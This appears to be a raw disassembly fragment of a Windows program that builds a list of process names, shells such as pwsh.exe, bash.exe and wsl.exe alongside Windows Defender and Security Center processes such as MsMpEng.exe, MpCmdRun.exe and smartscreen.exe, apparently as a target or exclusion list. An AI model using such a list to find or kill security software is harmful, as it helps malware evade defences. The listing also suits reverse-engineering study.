lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x404a8e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
mov eax, dword [eax + 4]
call eax
call fcn.0040fe29
mov ecx, eax
test ecx, ecx
je 0x40bf97
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xa8], eax
mov eax, str.pwsh.exe
mov dword [ebp - 4], 0x20
lea ecx, [ebp - 0xa8]
test eax, 0xffff0000
jne 0x404ad1
movzx eax, ax
push eax
call fcn.00402a50
jmp 0x404add
push 8
push str.pwsh.exe
call fcn.00402f90
lea ecx, [ebp - 0xa8]
mov dword [ebp - 4], 0xffffffff
call fcn.00403260
mov edx, dword [ebp - 0xa8]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x404b0e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
mov eax, dword [eax + 4]
call eax
call fcn.0040fe29
mov ecx, eax
test ecx, ecx
je 0x40bf97
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xa8], eax
mov eax, str.bash.exe
mov dword [ebp - 4], 0x21
lea ecx, [ebp - 0xa8]
test eax, 0xffff0000
jne 0x404b51
movzx eax, ax
push eax
call fcn.00402a50
jmp 0x404b5d
push 8
push str.bash.exe
call fcn.00402f90
lea ecx, [ebp - 0xa8]
mov dword [ebp - 4], 0xffffffff
call fcn.00403260
mov edx, dword [ebp - 0xa8]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x404b8e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
mov eax, dword [eax + 4]
call eax
call fcn.0040fe29
mov ecx, eax
test ecx, ecx
je 0x40bf97
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xa8], eax
mov edi, str.wsl.exe
mov dword [ebp - 4], 0x22
shr edi, 0x10
lea ecx, [ebp - 0xa8]
test edi, edi
jne 0x404bdc
mov eax, str.wsl.exe
movzx eax, ax
push eax
mov dword [ebp - 0xac], eax
call fcn.00402a50
jmp 0x404bf6
push 7
push str.wsl.exe
call fcn.00402f90
mov eax, str.wsl.exe
movzx eax, ax
mov dword [ebp - 0xac], eax
lea ecx, [ebp - 0xa8]
mov dword [ebp - 4], 0xffffffff
call fcn.00403260
mov edx, dword [ebp - 0xa8]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x404c27
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
mov eax, dword [eax + 4]
call eax
call fcn.0040fe29
mov ecx, eax
test ecx, ecx
je 0x40bf97
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xa8], eax
mov dword [ebp - 4], 0x23
lea ecx, [ebp - 0xa8]
test edi, edi
jne 0x404c64
push dword [ebp - 0xac]
call fcn.00402a50
jmp 0x404c70
push 7
push str.wsl.exe
call fcn.00402f90
lea ecx, [ebp - 0xa8]
mov dword [ebp - 4], 0xffffffff
call fcn.00403260
mov edx, dword [ebp - 0xa8]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x404ca1
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
mov eax, dword [eax + 4]
call eax
call fcn.0040fe29
mov ecx, eax
test ecx, ecx
je 0x40bf97
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xa8], eax
mov eax, str.ubuntu.exe
mov dword [ebp - 4], 0x24
lea ecx, [ebp - 0xa8]
test eax, 0xffff0000
jne 0x404ce4
movzx eax, ax
push eax
call fcn.00402a50
jmp 0x404cf0
push 0xa
push str.ubuntu.exe
call fcn.00402f90
lea ecx, [ebp - 0xa8]
mov dword [ebp - 4], 0xffffffff
call fcn.00403260
mov edx, dword [ebp - 0xa8]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x404d21
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
mov eax, dword [eax + 4]
call eax
call fcn.0040fe29
mov ecx, eax
test ecx, ecx
je 0x40bf97
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xa8], eax
mov eax, str.wt.exe
mov dword [ebp - 4], 0x25
lea ecx, [ebp - 0xa8]
test eax, 0xffff0000
jne 0x404d64
movzx eax, ax
push eax
call fcn.00402a50
jmp 0x404d70
push 6
push str.wt.exe
call fcn.00402f90
lea ecx, [ebp - 0xa8]
mov dword [ebp - 4], 0xffffffff
call fcn.00403260
mov edx, dword [ebp - 0xa8]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x404da1
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
mov eax, dword [eax + 4]
call eax
call fcn.0040fe29
mov ecx, eax
test ecx, ecx
je 0x40bf97
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xa8], eax
mov eax, str.WindowsTerminal.exe
mov dword [ebp - 4], 0x26
lea ecx, [ebp - 0xa8]
test eax, 0xffff0000
jne 0x404de4
movzx eax, ax
push eax
call fcn.00402a50
jmp 0x404df0
push 0x13
push str.WindowsTerminal.exe
call fcn.00402f90
lea ecx, [ebp - 0xa8]
mov dword [ebp - 4], 0xffffffff
call fcn.00403260
mov edx, dword [ebp - 0xa8]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x404e21
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
mov eax, dword [eax + 4]
call eax
call fcn.0040fe29
mov ecx, eax
test ecx, ecx
je 0x40bf97
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xa8], eax
mov eax, str.MpDefenderCoreService.exe
mov dword [ebp - 4], 0x27
lea ecx, [ebp - 0xa8]
test eax, 0xffff0000
jne 0x404e64
movzx eax, ax
push eax
call fcn.00402a50
jmp 0x404e70
push 0x19
push str.MpDefenderCoreService.exe
call fcn.00402f90
lea ecx, [ebp - 0xa8]
mov dword [ebp - 4], 0xffffffff
call fcn.00403260
mov edx, dword [ebp - 0xa8]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x404ea1
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
mov eax, dword [eax + 4]
call eax
call fcn.0040fe29
mov ecx, eax
test ecx, ecx
je 0x40bf97
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xa8], eax
mov eax, str.MpCmdRun.exe
mov dword [ebp - 4], 0x28
lea ecx, [ebp - 0xa8]
test eax, 0xffff0000
jne 0x404ee4
movzx eax, ax
push eax
call fcn.00402a50
jmp 0x404ef0
push 0xc
push str.MpCmdRun.exe
call fcn.00402f90
lea ecx, [ebp - 0xa8]
mov dword [ebp - 4], 0xffffffff
call fcn.00403260
mov edx, dword [ebp - 0xa8]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x404f21
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
mov eax, dword [eax + 4]
call eax
push str.MsMpEng.exe
lea ecx, [ebp - 0x5a0]
call fcn.00403130
lea ecx, [ebp - 0x5a0]
call fcn.00403260
mov edx, dword [ebp - 0x5a0]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x404f5b
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
mov eax, dword [eax + 4]
call eax
push str.smartscreen.exe
lea ecx, [ebp - 0x734]
call fcn.00403130
lea ecx, [ebp - 0x734]
call fcn.00403260
mov edx, dword [ebp - 0x734]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x404f95
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
mov eax, dword [eax + 4]
call eax
push str.SecHealthUI.exe
lea ecx, [ebp - 0x738]
call fcn.00403130
lea ecx, [ebp - 0x738]
call fcn.00403260
mov edx, dword [ebp - 0x738]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x404fcf
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
mov eax, dword [eax + 4]
call eax
push str.SecurityHealthHost.exe
lea ecx, [ebp - 0x73c]
call fcn.00403130
lea ecx, [ebp - 0x73c]
call fcn.00403260
mov edx, dword [ebp - 0x73c]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x405009
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
mov eax, dword [eax + 4]
call eax
push str.SecurityHealthService.exe
lea ecx, [ebp - 0x740]
call fcn.00403130
lea ecx, [ebp - 0x740]
call fcn.00403260
mov edx, dword [ebp - 0x740]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x405043
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
mov eax, dword [eax + 4]
call eax
push str.SecurityHealthSystray.exe
lea ecx, [ebp - 0x744]
call fcn.00403130
lea ecx, [ebp - 0x744]
call fcn.00403260
mov edx, dword [ebp - 0x744]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40507d
push 0x80004005
call fcn.00402f40
int3